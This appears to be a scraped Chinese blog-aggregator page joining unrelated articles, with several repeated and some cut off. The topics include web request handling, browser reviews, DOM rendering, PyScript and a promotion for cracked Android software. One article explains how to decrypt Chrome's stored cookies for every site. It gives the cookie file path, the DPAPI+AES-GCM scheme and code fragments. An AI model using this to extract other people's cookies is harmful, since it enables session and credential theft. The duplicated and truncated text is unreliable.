  一个HTTP GET请求经过千山万水,历经多个路由器的转发,终于到达服务器端(HTTP数据包可能被下层进行分片传输,略去不表)。
  Web服务器需要着手处理了,它有三种方式来处理:
  (1) 可以用一个线程来处理所有请求,同一时刻只能处理一个,这种结构易于实现,但是这样会造成严重的性能问题。
  (2) 可以为每个请求分配一个进程/线程,但是当连接太多的时候,服务器端的进程/线程会耗费大量内存资源,进程/线程的切换也会让CPU不堪重负。
  (3) 复用I/O的方式,很多Web服务器都采用了复用结构,例如通过epoll的方式监视所有的连接,当连接的状态发生变化(如有数据可读), 才用一个进程/线程对那个连接进行处理,处理完以后继续监视,等待下次状态变化。 用这种方式可以用少量的进程/线程应对成千上万的连接请求。
  (码农翻身注:详情参见《》)
  我们使用Nginx这个非常流行的Web服务器来继续下面的故事。
  对于HTTP GET请求,Nginx利用epoll的方式给读取了出来, Nginx接下来要判断,这是个静态的请求还是个动态的请求啊?
  如果是静态的请求(HTML文件,JavaScript文件,CSS文件,图片等),也许自己就能搞定了(当然依赖于Nginx配置,可能转发到别的缓存服务器去),读取本机硬盘上的相关文件,直接返回。
  如果是动态的请求,需要后端服务器(如Tomcat)处理以后才能返回,那就需要向Tomcat转发,如果后端的Tomcat还不止一个,那就需要按照某种策略选取一个。
  例如Ngnix支持这么几种:
  
  
  不管用哪种算法,某个后端服务器最终被选中,然后Nginx需要把HTTP Request转发给后端的Tomcat,并且把Tomcat输出的HttpResponse再转发给浏览器。
  由此可见,Nginx在这种场景下,是一个代理人的角色。
  
  
  5应用服务器
  Http Request终于来到了Tomcat,这是一个由Java写的、可以处理Servlet/JSP的容器,我们的代码就运行在这个容器之中。
  如同Web服务器一样, Tomcat也可能为每个请求分配一个线程去处理,即通常所说的BIO模式(Blocking I/O 模式)。
  也可能使用I/O多路复用技术,仅仅使用若干线程来处理所有请求,即NIO模式。
  不管用哪种方式,Http Request 都会被交给某个Servlet处理,这个Servlet又会把Http Request做转换,变成框架所使用的参数格式,然后分发给某个Controller(如果你是在用Spring)或者Action(如果你是在Struts)。
  剩下的故事就比较简单了(不,对码农来说,其实是最复杂的部分),就是执行码农经常写的增删改查逻辑,在这个过程中很有可能和缓存、数据库等后端组件打交道,最终返回HTTP Response,由于细节依赖业务逻辑,略去不表。 查看全部

  从输入网址到浏览器呈现页面内容,中间发生了什么?
  前言
  这篇文章是应网友之邀所写,主要描述一下我们访问网站时, 从输入网址到最后浏览器呈现内容,中间发生了什么。
  之前写过两篇文章描述了一个电脑如何通过DHCP、ARP、NAT等上式获取IP、然后访问网络的过程,主要专注在传输层和网络层。
  今天的文章主要专注于应用层,我拿了一个很简单的网络结构来讲。假定本机已经获取了IP地址,各种网络基础设施已经准备好了。
  由于知识点太多,我肯定会漏掉部分内容,欢迎在留言中补充, 以后我会根据大家建议再写文章扩展。
  2准备
  当你在浏览器中输入网址(例如)并且敲了回车以后, 浏览器首先要做的事情就是获得的IP地址,具体的做法就是发送一个UDP的包给DNS服务器,DNS服务器会返回的IP, 这时候浏览器通常会把IP地址给缓存起来,这样下次访问就会加快。
  比如Chrome, 你可以通过chrome://net-internals/#dns来查看。
  有了服务器的IP, 浏览器就要可以发起HTTP请求了,但是HTTP Request/Response必须在TCP这个“虚拟的连接”上来发送和接收。
  想要建立“虚拟的”TCP连接,TCP邮差需要知道4个东西:(本机IP, 本机端口,服务器IP, 服务器端口),现在只知道了本机IP,服务器IP, 两个端口怎么办?
  本机端口很简单,操作系统可以给浏览器随机分配一个, 服务器端口更简单,用的是一个“众所周知”的端口,HTTP服务就是80, 我们直接告诉TCP邮差就行。
  经过三次握手以后,客户端和服务器端的TCP连接就建立起来了! 终于可以发送HTTP请求了。
  
  之所以把TCP连接画成虚线,是因为这个连接是虚拟的, 详情可参见之前的文章《》,《》
  3Web服务器
  一个HTTP GET请求经过千山万水,历经多个路由器的转发,终于到达服务器端(HTTP数据包可能被下层进行分片传输,略去不表)。
  Web服务器需要着手处理了,它有三种方式来处理:
  (1) 可以用一个线程来处理所有请求,同一时刻只能处理一个,这种结构易于实现,但是这样会造成严重的性能问题。
  (2) 可以为每个请求分配一个进程/线程,但是当连接太多的时候,服务器端的进程/线程会耗费大量内存资源,进程/线程的切换也会让CPU不堪重负。
  (3) 复用I/O的方式,很多Web服务器都采用了复用结构,例如通过epoll的方式监视所有的连接,当连接的状态发生变化(如有数据可读), 才用一个进程/线程对那个连接进行处理,处理完以后继续监视,等待下次状态变化。 用这种方式可以用少量的进程/线程应对成千上万的连接请求。
  (码农翻身注:详情参见《》)
  我们使用Nginx这个非常流行的Web服务器来继续下面的故事。
  对于HTTP GET请求,Nginx利用epoll的方式给读取了出来, Nginx接下来要判断,这是个静态的请求还是个动态的请求啊?
  如果是静态的请求(HTML文件,JavaScript文件,CSS文件,图片等),也许自己就能搞定了(当然依赖于Nginx配置,可能转发到别的缓存服务器去),读取本机硬盘上的相关文件,直接返回。
  如果是动态的请求,需要后端服务器(如Tomcat)处理以后才能返回,那就需要向Tomcat转发,如果后端的Tomcat还不止一个,那就需要按照某种策略选取一个。
  例如Ngnix支持这么几种:
  
  
  不管用哪种算法,某个后端服务器最终被选中,然后Nginx需要把HTTP Request转发给后端的Tomcat,并且把Tomcat输出的HttpResponse再转发给浏览器。
  由此可见,Nginx在这种场景下,是一个代理人的角色。
  
  
  5应用服务器
  Http Request终于来到了Tomcat,这是一个由Java写的、可以处理Servlet/JSP的容器,我们的代码就运行在这个容器之中。
  如同Web服务器一样, Tomcat也可能为每个请求分配一个线程去处理,即通常所说的BIO模式(Blocking I/O 模式)。
  也可能使用I/O多路复用技术,仅仅使用若干线程来处理所有请求,即NIO模式。
  不管用哪种方式,Http Request 都会被交给某个Servlet处理,这个Servlet又会把Http Request做转换,变成框架所使用的参数格式,然后分发给某个Controller(如果你是在用Spring)或者Action(如果你是在Struts)。
  剩下的故事就比较简单了(不,对码农来说,其实是最复杂的部分),就是执行码农经常写的增删改查逻辑,在这个过程中很有可能和缓存、数据库等后端组件打交道,最终返回HTTP Response,由于细节依赖业务逻辑,略去不表。

(Android)Top浏览器v3.1.9-极速移动浏览器

网站优化优采云 发表了文章 • 0 个评论 • 87 次浏览 • 2022-06-07 06:46 • 来自相关话题

  (Android)Top浏览器v3.1.9-极速移动浏览器
  
  OMG优质资源
  ‍‍公众号改推送机制了,以后可能收不到咱们消息了,不想错过优质的资源分享,请点左上角OMG优质资源,然后按下面步骤,设置星标★就可以优先推送了,谢谢大家的支持。下载提取码在文末哦!!!!!!!!!!!!!!另外破解软件有时效性,过一段时间会时效的,后续网盘会有更新新版本微信如果遇到无法访问蓝奏云连接,获取链接后复制到浏览器下载既可
  
  产品简介Top浏览器是一款极速移动浏览器。
  智能广告拦截,采用Adblock,自动更新规则,清爽界面,拒绝弹窗骚扰,任何的广告又或者是小的弹窗广告,都会进行删除。阅读模式,智能提取网页正文,下拉翻页,给你干净整洁的阅读体验,而且用户们还可以根据自己的需求,主动对界面进行管理。嗅探下载,准确抓取资源链接,支持音频、视频的下载,支持M3U8视频下载并自动转MP4,同时还可以在平台下载其他的文件。随时随地都可以浏览各种热点网页推荐视频等等。智能搜索功能,让你轻松查看到你感兴趣的内容。
  
  产品特色
  【最良心】不偷取用户数据,权限只必要;
  【最快速】使用的webkit内核,原生体验;
  【最强悍】各种设置项自定义,为你专属;
  – 非常小巧,仅几百KB,该有的功能都有;
  – 隐私保护、隐私防追踪、自定义浏览器标识ua;
  – 支持广告拦截、自定义广告标记(可添加拦截规则)
  – 支持沉浸式、支持定制主页风格、LOGO、搜索栏;
  – 支持HTML5、插件管理、下载插件、下载链接解析;
  – 书签可以登陆云同步,支持夜间模式,夜间模式、电脑模式、有图/无图模式;
  – 支持翻译网页、离线网页、保存网页、查看网页源码、网页资源嗅探、网页内查找等;
  – 支持自定义添加脚本(添加如:百度贴吧免登陆看更多回复、知乎免登陆看全文回答);
  产品更新为了让更多的用户享受到舒适的便捷生活服务,用户们可以在平台上更加轻松地了解到众多的应用版块的使用方式,享受软件的操作性;
  三无模式开启,你不想要的,我们通通都没有——无广告、无新闻、无推送,轻快简洁,还原浏览器本质,使用起来更加舒心;自由订阅功能,通过订阅获取网站更新内容,轻松实现追剧、追小说、追漫画…以订阅的方式“看”世界,各种各样的资讯都可以在线订阅
  联系我们加入微群每天都有VIP优秀资源分享,欢迎大家加入,进群才有哦!由于群已满200人,无法进行扫码入群,现提供群主微信,(需要进群可加群主微信,拉你入群)广告别进 必T,广告别进 必T,广告别进 必T
  
  下载地址
  公众号内发送【198】点击下方公众号进入发送数字即可获取资源下载链接微信如果遇到无法访问蓝奏云连接,获取链接后复制到浏览器下载既可
  
  
  好了,今天的分享就是这样,老规矩,获取软件前记得戳一些右下角的【在看】哦!你们的在看就是我更新的动力!拜 托戳 最 底加 个 鸡 腿吧
  
   查看全部

  (Android)Top浏览器v3.1.9-极速移动浏览器
  
  OMG优质资源
  ‍‍公众号改推送机制了,以后可能收不到咱们消息了,不想错过优质的资源分享,请点左上角OMG优质资源,然后按下面步骤,设置星标★就可以优先推送了,谢谢大家的支持。下载提取码在文末哦!!!!!!!!!!!!!!另外破解软件有时效性,过一段时间会时效的,后续网盘会有更新新版本微信如果遇到无法访问蓝奏云连接,获取链接后复制到浏览器下载既可
  
  产品简介Top浏览器是一款极速移动浏览器。
  智能广告拦截,采用Adblock,自动更新规则,清爽界面,拒绝弹窗骚扰,任何的广告又或者是小的弹窗广告,都会进行删除。阅读模式,智能提取网页正文,下拉翻页,给你干净整洁的阅读体验,而且用户们还可以根据自己的需求,主动对界面进行管理。嗅探下载,准确抓取资源链接,支持音频、视频的下载,支持M3U8视频下载并自动转MP4,同时还可以在平台下载其他的文件。随时随地都可以浏览各种热点网页推荐视频等等。智能搜索功能,让你轻松查看到你感兴趣的内容。
  
  产品特色
  【最良心】不偷取用户数据,权限只必要;
  【最快速】使用的webkit内核,原生体验;
  【最强悍】各种设置项自定义,为你专属;
  – 非常小巧,仅几百KB,该有的功能都有;
  – 隐私保护、隐私防追踪、自定义浏览器标识ua;
  – 支持广告拦截、自定义广告标记(可添加拦截规则)
  – 支持沉浸式、支持定制主页风格、LOGO、搜索栏;
  – 支持HTML5、插件管理、下载插件、下载链接解析;
  – 书签可以登陆云同步,支持夜间模式,夜间模式、电脑模式、有图/无图模式;
  – 支持翻译网页、离线网页、保存网页、查看网页源码、网页资源嗅探、网页内查找等;
  – 支持自定义添加脚本(添加如:百度贴吧免登陆看更多回复、知乎免登陆看全文回答);
  产品更新为了让更多的用户享受到舒适的便捷生活服务,用户们可以在平台上更加轻松地了解到众多的应用版块的使用方式,享受软件的操作性;
  三无模式开启,你不想要的,我们通通都没有——无广告、无新闻、无推送,轻快简洁,还原浏览器本质,使用起来更加舒心;自由订阅功能,通过订阅获取网站更新内容,轻松实现追剧、追小说、追漫画…以订阅的方式“看”世界,各种各样的资讯都可以在线订阅
  联系我们加入微群每天都有VIP优秀资源分享,欢迎大家加入,进群才有哦!由于群已满200人,无法进行扫码入群,现提供群主微信,(需要进群可加群主微信,拉你入群)广告别进 必T,广告别进 必T,广告别进 必T
  
  下载地址
  公众号内发送【198】点击下方公众号进入发送数字即可获取资源下载链接微信如果遇到无法访问蓝奏云连接,获取链接后复制到浏览器下载既可
  
  
  好了,今天的分享就是这样,老规矩,获取软件前记得戳一些右下角的【在看】哦!你们的在看就是我更新的动力!拜 托戳 最 底加 个 鸡 腿吧
  
  

教你获取浏览器中所有网站的cookie

网站优化优采云 发表了文章 • 0 个评论 • 744 次浏览 • 2022-06-03 21:06 • 来自相关话题

  教你获取浏览器中所有网站的cookie
  
  
  美国学者埃德加.戴尔(Edgar Dale)1946年提出了“学习金字塔”的理论。将学习方式分为7种,分别听讲、阅读、视听结合、演示、讨论、实践、分享。前四种属于被动学习,学习内容的平均留存率较低,而后三种属于主动学习,学习内容的平均留存率更高。传统的听讲、阅读学习内容平均留存率只有5%,10%。而通过分享的方式教授给他人,学习的平均留存率可以达到90%。一起学习,共同进步!
  本公众号分享源码,编程,数据库,服务器,数据结构,算法等内容。欢迎点上方订阅查看,是一个纯粹的学习笔记公众号。希望能帮到大家
  
  声明:本文仅用于技术交流。请勿将技术用于非法用途。
  本文以chrome为例,分享如何破解浏览器中加密的cookie,其他浏览器大同小异。很容易解决。
  先回答第一个问题浏览器的cookie是如何保存的?
  浏览器中的cookie保存在sqlite中,cookie的值加密在encrypted_value列中。
  
  以chrome新版为例:默认用户的cookie保存位置为:
  
  默认用户的位置在:C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Network\cookies
  第二个问题,cookie值是如何加密的:
  涉及的加密算法是:DPAPI+AesGcm
  
  第三个问题:解密:
  语言:python
  import win32crypt
  2.c#
  [DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]string decryptedPassword = AesGcm256.decrypt(Convert.ToBase64String(payload), masterKeyBytes, iv);
  
  解密流程:
  
  感谢您的阅读,欢迎将该文分享给需要的朋友,我们一起学习,一起进步。 查看全部

  教你获取浏览器中所有网站的cookie
  
  
  美国学者埃德加.戴尔(Edgar Dale)1946年提出了“学习金字塔”的理论。将学习方式分为7种,分别听讲、阅读、视听结合、演示、讨论、实践、分享。前四种属于被动学习,学习内容的平均留存率较低,而后三种属于主动学习,学习内容的平均留存率更高。传统的听讲、阅读学习内容平均留存率只有5%,10%。而通过分享的方式教授给他人,学习的平均留存率可以达到90%。一起学习,共同进步!
  本公众号分享源码,编程,数据库,服务器,数据结构,算法等内容。欢迎点上方订阅查看,是一个纯粹的学习笔记公众号。希望能帮到大家
  
  声明:本文仅用于技术交流。请勿将技术用于非法用途。
  本文以chrome为例,分享如何破解浏览器中加密的cookie,其他浏览器大同小异。很容易解决。
  先回答第一个问题浏览器的cookie是如何保存的?
  浏览器中的cookie保存在sqlite中,cookie的值加密在encrypted_value列中。
  
  以chrome新版为例:默认用户的cookie保存位置为:
  
  默认用户的位置在:C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Network\cookies
  第二个问题,cookie值是如何加密的:
  涉及的加密算法是:DPAPI+AesGcm
  
  第三个问题:解密:
  语言:python
  import win32crypt
  2.c#
  [DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]string decryptedPassword = AesGcm256.decrypt(Convert.ToBase64String(payload), masterKeyBytes, iv);
  
  解密流程:
  
  感谢您的阅读,欢迎将该文分享给需要的朋友,我们一起学习,一起进步。

这款打开方式独特的浏览器,让你加载网页从此不用再等待 #Android

网站优化优采云 发表了文章 • 0 个评论 • 164 次浏览 • 2022-06-03 20:45 • 来自相关话题

  这款打开方式独特的浏览器,让你加载网页从此不用再等待 #Android
  
  今天世超独宠
  Android差友
  不知道大家平日里,在刷着微博浏览着新闻的时候有没有遇见过这样的情况:在你浏览的过程中,总会出现一些让你感兴趣的链接。
  这些链接可能是:
  ”这个视频,女人不在家男人偷偷看!”
  “震惊!想不到林丹之后下一个出轨的明星竟然是他?!”
  
  这些不可描素的链接总有一种让你打开的魔力。但是烦人的是:当我们点开下载链接时间,冗长的页面加载往往中断了我们的阅读体验。
  今天这打开方式独特的浏览器,我想可以帮你省去大量加载网页的时间。
  
  简单的说Flyperlink 就是一款悬浮浏览器。 能够把你需要打开的链接在后台加载,通过悬浮窗的形式展现。
  也就是说我在我们在手机悬浮图标内,内置了一个浏览器。我们可以自由的在两个浏览器之间来回切换。
  并且使用Flyperlink浏览器打来网页的过程都是在后台完成的。省略了我们大量加载网页的等待时间。
  下面是一个Flyperlink浏览器的操作演示图,不感兴趣的差友们可以省略。。。
  
  当然了,这种拥有特立独行的打开方式的浏览器。不是Flyperlink首创。这种悬浮式的浏览器都是的 Brave和 Flynx 玩剩下的。
  不要问我为什么推荐Flyperlink在这个颜值即使正义的时代。简介美观的设计语言,和德芙一样丝般顺滑的用户体验已经说明了一切。
  
  Flyperlink会获取网站的图标,并把它填充到气泡内,地址栏会随着网站的环境色而变色。书签也会以卡片式的形式展现。
  恩~光这些用心的细节就比 Brave和 Flynx 好看出好几条街了。
  
  不过作为我们日常使用的频率最高的微博、微信等一票应用早就放弃了对第三方浏览器跳转支持,只能通过内嵌浏览器打开。不免有些店大欺客的嫌疑。
  所以在使用微博或是微信这些客户端时Flyperlink需要多一步操作。或许有些违背了使用Flyperlink提高效率的初衷。
  如果抛开这些对第三方浏览器充满恶意的微博和微信。Flyperlink 还是一款交互清晰,美观高效的效率浏览器。帮我们省去了大量加载页面的时间。打通了各种网页之间的切换。
  对了,一直吐槽我偏爱iOS的差友们,这是一款只支持Aniord的应用哦。
  感兴趣的差友后台回复「浏览器」获取链接
   查看全部

  这款打开方式独特的浏览器,让你加载网页从此不用再等待 #Android
  
  今天世超独宠
  Android差友
  不知道大家平日里,在刷着微博浏览着新闻的时候有没有遇见过这样的情况:在你浏览的过程中,总会出现一些让你感兴趣的链接。
  这些链接可能是:
  ”这个视频,女人不在家男人偷偷看!”
  “震惊!想不到林丹之后下一个出轨的明星竟然是他?!”
  
  这些不可描素的链接总有一种让你打开的魔力。但是烦人的是:当我们点开下载链接时间,冗长的页面加载往往中断了我们的阅读体验。
  今天这打开方式独特的浏览器,我想可以帮你省去大量加载网页的时间。
  
  简单的说Flyperlink 就是一款悬浮浏览器。 能够把你需要打开的链接在后台加载,通过悬浮窗的形式展现。
  也就是说我在我们在手机悬浮图标内,内置了一个浏览器。我们可以自由的在两个浏览器之间来回切换。
  并且使用Flyperlink浏览器打来网页的过程都是在后台完成的。省略了我们大量加载网页的等待时间。
  下面是一个Flyperlink浏览器的操作演示图,不感兴趣的差友们可以省略。。。
  
  当然了,这种拥有特立独行的打开方式的浏览器。不是Flyperlink首创。这种悬浮式的浏览器都是的 Brave和 Flynx 玩剩下的。
  不要问我为什么推荐Flyperlink在这个颜值即使正义的时代。简介美观的设计语言,和德芙一样丝般顺滑的用户体验已经说明了一切。
  
  Flyperlink会获取网站的图标,并把它填充到气泡内,地址栏会随着网站的环境色而变色。书签也会以卡片式的形式展现。
  恩~光这些用心的细节就比 Brave和 Flynx 好看出好几条街了。
  
  不过作为我们日常使用的频率最高的微博、微信等一票应用早就放弃了对第三方浏览器跳转支持,只能通过内嵌浏览器打开。不免有些店大欺客的嫌疑。
  所以在使用微博或是微信这些客户端时Flyperlink需要多一步操作。或许有些违背了使用Flyperlink提高效率的初衷。
  如果抛开这些对第三方浏览器充满恶意的微博和微信。Flyperlink 还是一款交互清晰,美观高效的效率浏览器。帮我们省去了大量加载页面的时间。打通了各种网页之间的切换。
  对了,一直吐槽我偏爱iOS的差友们,这是一款只支持Aniord的应用哦。
  感兴趣的差友后台回复「浏览器」获取链接
  

浏览器渲染页面过程描述,DOM编程技巧以及重排和重绘

网站优化优采云 发表了文章 • 0 个评论 • 90 次浏览 • 2022-06-02 21:32 • 来自相关话题

  浏览器渲染页面过程描述,DOM编程技巧以及重排和重绘
  一、浏览器渲染页过程描述
  1、浏览器解析html源码,然后创建一个DOM树。
  在DOM树中,每一个HTML标签都有一个对应的节点(元素节点),并且每一个文本也都有一个对应的节点(文本节点)。
  DOM树的根节点就是documentElement,对应的是html标签。
  2、浏览器解析CSS代码,计算出最终的样式数据。
  对CSS代码中非法的语法它会直接忽略掉。
  解析CSS的时候会按照如下顺序来定义优先级:浏览器默认设置,用户设置,外联样式,内联样式,html中的style(嵌在标签中的行间样式)。
  3、创建完DOM树并得到最终的样式数据之后,构建一个渲染树。
  渲染树和DOM树有点像,但是有区别。DOM树完全和html标签一一对应,而渲染树会忽略不需要渲染的元素(head、display:none的元素)。
  渲染树中每一个节点都存储着对应的CSS属性。
  4、当渲染树创建完成之后,浏览器就可以根据渲染树直接把页面绘制到屏幕上。
  二、高性能Javascript DOM编程
  我们知道,用脚本进行DOM操作的代价很昂贵。把DOM和ECMAScript各自想象为一个岛屿,它们之间用收费桥梁链接,ECMAScript每次访问DOM,都要经过这座桥,并交纳“过桥费”,访问DOM的次数越多,费用也就越高。因此,推荐的做法是尽量减少过桥的次数,努力呆在ECMAScript岛上。这是比喻非常形象。那么怎样才能高效呢?
  1、DOM访问与修改
  访问DOM元素是有代价的(这里其实和ajax调后台数据接口是一样,DOM是用于操作XML和HTML文档的应用程序接口,一次能完成的事不要请求多次),通过DOM获取元素之后,修改元素的代价更是昂贵,因为它会导致浏览器重新计算页面的几何变化(重排和重绘)。
  例子:
  <p>var times = 15000;
  //code1
  console.time('time1');<p>for(var i=0; i 查看全部

  浏览器渲染页面过程描述,DOM编程技巧以及重排和重绘
  一、浏览器渲染页过程描述
  1、浏览器解析html源码,然后创建一个DOM树。
  在DOM树中,每一个HTML标签都有一个对应的节点(元素节点),并且每一个文本也都有一个对应的节点(文本节点)。
  DOM树的根节点就是documentElement,对应的是html标签。
  2、浏览器解析CSS代码,计算出最终的样式数据。
  对CSS代码中非法的语法它会直接忽略掉。
  解析CSS的时候会按照如下顺序来定义优先级:浏览器默认设置,用户设置,外联样式,内联样式,html中的style(嵌在标签中的行间样式)。
  3、创建完DOM树并得到最终的样式数据之后,构建一个渲染树。
  渲染树和DOM树有点像,但是有区别。DOM树完全和html标签一一对应,而渲染树会忽略不需要渲染的元素(head、display:none的元素)。
  渲染树中每一个节点都存储着对应的CSS属性。
  4、当渲染树创建完成之后,浏览器就可以根据渲染树直接把页面绘制到屏幕上。
  二、高性能Javascript DOM编程
  我们知道,用脚本进行DOM操作的代价很昂贵。把DOM和ECMAScript各自想象为一个岛屿,它们之间用收费桥梁链接,ECMAScript每次访问DOM,都要经过这座桥,并交纳“过桥费”,访问DOM的次数越多,费用也就越高。因此,推荐的做法是尽量减少过桥的次数,努力呆在ECMAScript岛上。这是比喻非常形象。那么怎样才能高效呢?
  1、DOM访问与修改
  访问DOM元素是有代价的(这里其实和ajax调后台数据接口是一样,DOM是用于操作XML和HTML文档的应用程序接口,一次能完成的事不要请求多次),通过DOM获取元素之后,修改元素的代价更是昂贵,因为它会导致浏览器重新计算页面的几何变化(重排和重绘)。
  例子:
  <p>var times = 15000;
  //code1
  console.time('time1');<p>for(var i=0; i

浏览器抓取网页原理是多线程负责抓取(一)

网站优化优采云 发表了文章 • 0 个评论 • 95 次浏览 • 2022-05-29 02:05 • 来自相关话题

  浏览器抓取网页原理是多线程负责抓取(一)
  浏览器抓取网页原理一般是多线程负责抓取(一般是每秒解析一次),当出现连接不通时,线程就重新抓取一个新的连接(当然,不是每个连接都是一个线程)。当然,没有专门的http协议的时候,我们也可以http协议解析抓取到的数据。
  通过http的session机制。每个用户都有自己的session。你登录时,会解锁一个保存在本地的会话到别人的user-agent中。当别人对你请求时,对方和你的session绑定,会返回用户id给你。对方不登录你也可以和他连接。但是你要先和对方连接完成,才能向他返回id给他。
  ifthemostmembersofuserstodothat,theyshouldhaveacooperativeasynchronousprocessonwhichtheirpreferencesarefree。youshouldalwaysgivethemtheconnectioneither。
  httppost/getconnectionstoapostisusedtofacebridgefeaturesiftheconnectionendswiththeusername。httpconnectionstohttpsconnectionstohttpsarenotusedtofacetransferrequests。
  so,httpuseragentrequeststothesessionaremainlyonlythroughsignalmatching。
  先通过特定的方式联系对方,连接请求要求对方同意才能返回我们想要的结果,这个过程是self-execution。如果不同意,就默认成为断开连接,那么connection就不再等待响应了,fail就gameover,所以会关闭这个url。 查看全部

  浏览器抓取网页原理是多线程负责抓取(一)
  浏览器抓取网页原理一般是多线程负责抓取(一般是每秒解析一次),当出现连接不通时,线程就重新抓取一个新的连接(当然,不是每个连接都是一个线程)。当然,没有专门的http协议的时候,我们也可以http协议解析抓取到的数据。
  通过http的session机制。每个用户都有自己的session。你登录时,会解锁一个保存在本地的会话到别人的user-agent中。当别人对你请求时,对方和你的session绑定,会返回用户id给你。对方不登录你也可以和他连接。但是你要先和对方连接完成,才能向他返回id给他。
  ifthemostmembersofuserstodothat,theyshouldhaveacooperativeasynchronousprocessonwhichtheirpreferencesarefree。youshouldalwaysgivethemtheconnectioneither。
  httppost/getconnectionstoapostisusedtofacebridgefeaturesiftheconnectionendswiththeusername。httpconnectionstohttpsconnectionstohttpsarenotusedtofacetransferrequests。
  so,httpuseragentrequeststothesessionaremainlyonlythroughsignalmatching。
  先通过特定的方式联系对方,连接请求要求对方同意才能返回我们想要的结果,这个过程是self-execution。如果不同意,就默认成为断开连接,那么connection就不再等待响应了,fail就gameover,所以会关闭这个url。

浏览器可以运行 Python 代码了?

网站优化优采云 发表了文章 • 0 个评论 • 131 次浏览 • 2022-05-24 02:47 • 来自相关话题

  浏览器可以运行 Python 代码了?
  作为 Python 程序员,很羡慕那些 Javascript 开发者,动不动就能写出令人惊艳的网页。不过今年,我们也能用 Python 写前端了:Anaconda 团队开发出了 PyScript,你可以在 HTML 里面编写和运行 Python 代码,调用 Javascript 库,换句话说,你可以用 Python 来进行整个前后端开发。什么是 PyScript
  
  PyScript[1] 是 Anaconda 团队开发的一个 Javascipt 库,可以在 HTML 标签里嵌入 Python 代码,无需服务端就可以运行 Python 代码。
  比如说,我们用 Python 在页面上显示日期,先编写一个 hello_world.html 文件,内容如下:
  
  用浏览器打开,其运行效果就是这样的:
  
  这意味着,我们可以在 HTML 中编写和运行 Python 代码, 在 PyScript 中调用 Javascript 库,并在 Python 中完成所有 Web 开发。
  PyScript 的工作原理
  
  PyScript 目前构建在 Pyodide上,Pyodide 是 CPython 到 WebAssembly/Emscripten 的端口。
  PyScript 支持在浏览器中编写和运行 Python 代码,并将在未来为其他语言提供支持。
  你可能想知道,什么是 WebAssembly?以下来自维基百科:
  WebAssembly(简称 wasm)是一个实验性的低级编程语言,应用于浏览器内的客户端。WebAssembly 是便携式的抽象语法树,被设计来提供比 JavaScript 更快的编译及执行。WebAssembly 让开发者能运用自己熟悉的编程语言(最初以C/C++作为实现目标)编译,再藉虚拟机引擎在浏览器内执行。
  WebAssembly 的开发团队分别来自 Mozilla、Google、Microsoft、Apple,代表着四大网络浏览器 Firefox、Chrome、Microsoft Edge、Safari。2017 年 11 月,以上四个浏览器都开始实验性的支持 WebAssembly。
  WebAssembly 于 2019 年 12 月 5 日成为万维网联盟(W3C)的推荐,与 HTML,CSS 和 JavaScript 一起,成为 Web 的第四种语言。
  PyScript 带来的便捷
  1、PyScript 使更多的前端开发人员能够使用 Python。
  2、更低的编程门槛。因为几乎每个人都可以访问网页浏览器,无论是在计算机上还是在手机上。这意味着不需要安装任何额外软件就可以开始编程。
  3、有了 PyScript,不再需要担心部署。PyScript 提供了“超越云端的架构转变”,一切都会网页浏览器中发生。
  如何使用 PyScript
  PyScript 使用以下三个主要组件在 html 中编写 Python:
  比如代码 todo.html[2] 中的两个标签
  :
  
  执行效果:
  
  再来看一个 repl[3] 的例子:
  
  执行效果:
   查看全部

  浏览器可以运行 Python 代码了?
  作为 Python 程序员,很羡慕那些 Javascript 开发者,动不动就能写出令人惊艳的网页。不过今年,我们也能用 Python 写前端了:Anaconda 团队开发出了 PyScript,你可以在 HTML 里面编写和运行 Python 代码,调用 Javascript 库,换句话说,你可以用 Python 来进行整个前后端开发。什么是 PyScript
  
  PyScript[1] 是 Anaconda 团队开发的一个 Javascipt 库,可以在 HTML 标签里嵌入 Python 代码,无需服务端就可以运行 Python 代码。
  比如说,我们用 Python 在页面上显示日期,先编写一个 hello_world.html 文件,内容如下:
  
  用浏览器打开,其运行效果就是这样的:
  
  这意味着,我们可以在 HTML 中编写和运行 Python 代码, 在 PyScript 中调用 Javascript 库,并在 Python 中完成所有 Web 开发。
  PyScript 的工作原理
  
  PyScript 目前构建在 Pyodide上,Pyodide 是 CPython 到 WebAssembly/Emscripten 的端口。
  PyScript 支持在浏览器中编写和运行 Python 代码,并将在未来为其他语言提供支持。
  你可能想知道,什么是 WebAssembly?以下来自维基百科:
  WebAssembly(简称 wasm)是一个实验性的低级编程语言,应用于浏览器内的客户端。WebAssembly 是便携式的抽象语法树,被设计来提供比 JavaScript 更快的编译及执行。WebAssembly 让开发者能运用自己熟悉的编程语言(最初以C/C++作为实现目标)编译,再藉虚拟机引擎在浏览器内执行。
  WebAssembly 的开发团队分别来自 Mozilla、Google、Microsoft、Apple,代表着四大网络浏览器 Firefox、Chrome、Microsoft Edge、Safari。2017 年 11 月,以上四个浏览器都开始实验性的支持 WebAssembly。
  WebAssembly 于 2019 年 12 月 5 日成为万维网联盟(W3C)的推荐,与 HTML,CSS 和 JavaScript 一起,成为 Web 的第四种语言。
  PyScript 带来的便捷
  1、PyScript 使更多的前端开发人员能够使用 Python。
  2、更低的编程门槛。因为几乎每个人都可以访问网页浏览器,无论是在计算机上还是在手机上。这意味着不需要安装任何额外软件就可以开始编程。
  3、有了 PyScript,不再需要担心部署。PyScript 提供了“超越云端的架构转变”,一切都会网页浏览器中发生。
  如何使用 PyScript
  PyScript 使用以下三个主要组件在 html 中编写 Python:
  比如代码 todo.html[2] 中的两个标签
  :
  
  执行效果:
  
  再来看一个 repl[3] 的例子:
  
  执行效果:
  

浏览器抓取网页动态html只能用webdriver,或者chrome做代理

网站优化优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-05-18 23:03 • 来自相关话题

  浏览器抓取网页动态html只能用webdriver,或者chrome做代理
  浏览器抓取网页动态html只能用webdriver,或者chrome做代理。比如360浏览器。正常情况下会有一个360浏览器的快捷方式或者直接百度一下360浏览器就会跳转到360浏览器的相关设置里面。接着按照里面的配置,来将chrome网页抓取,然后用chrome提供的书签网址导入到自己的浏览器书签站点里面,书签网址可以自定义的。这样浏览器就能够抓取网页html,方便于自己检测并且代理变化。
  可以,用正则表达式+正则表达式,即可抓取,正则表达式就是后台去匹配特定站点,匹配之后在另一个页面接着匹配,
  学点python,好像浏览器可以做的事情,
  先搜索引擎,再webbrowser,
  请你告诉我360浏览器是怎么抓我的。
